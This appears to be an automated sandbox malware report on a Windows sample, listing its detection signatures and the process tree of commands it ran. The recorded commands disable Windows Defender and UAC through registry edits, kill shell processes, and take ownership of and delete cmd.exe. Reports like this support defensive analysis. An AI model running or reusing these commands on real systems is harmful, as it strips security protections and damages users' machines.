Analysis

  • user interaction
    yes
  • max time kernel
    73s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/07/2026, 17:22

General

  • Target
    GRoupALEst5bariya.exe
  • Size 763KB
  • Sample260701-vx3wbsbs3k
  • SHA256 33ee43ff148908e7ae11f8db62223a038cf53ced16171a3d9fc87a9e2dddb8ca
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Possible privilege escalation attempt 2 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Kills process with taskkill 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe
    "C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe"
    1⤵
    • Writes to the Master Boot Record (MBR)
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5552
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4832
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        3⤵
          PID:1128
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f 2>nul
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4504
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
          3⤵
            PID:2624
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3488
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
            3⤵
            • Modifies Windows Defender DisableAntiSpyware settings
            PID:5580
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f 2>nul
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4432
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
            3⤵
            • UAC bypass
            PID:1140
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2876
          • C:\Windows\system32\taskkill.exe
            taskkill /f /im cmd.exe
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1124
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c taskkill /f /im conhost.exe 2>nul
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4740
          • C:\Windows\system32\taskkill.exe
            taskkill /f /im conhost.exe
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2052
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\cmd.exe 2>nul
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4048
          • C:\Windows\system32\takeown.exe
            takeown /f C:\Windows\System32\cmd.exe
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:3288
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\cmd.exe /grant administrators:F 2>nul
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2688
          • C:\Windows\system32\icacls.exe
            icacls C:\Windows\System32\cmd.exe /grant administrators:F
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:4356
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c del /f /s /q C:\Windows\System32\cmd.exe 2>nul
          2⤵
            PID:4756

        Network

              MITRE ATT&CK Enterprise v16

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              Downloads

              memory/4756-0-0x00007FF787820000-0x00007FF78788F000-memory.dmp

              memory/5552-1-0x00007FF71F490000-0x00007FF71F505000-memory.dmp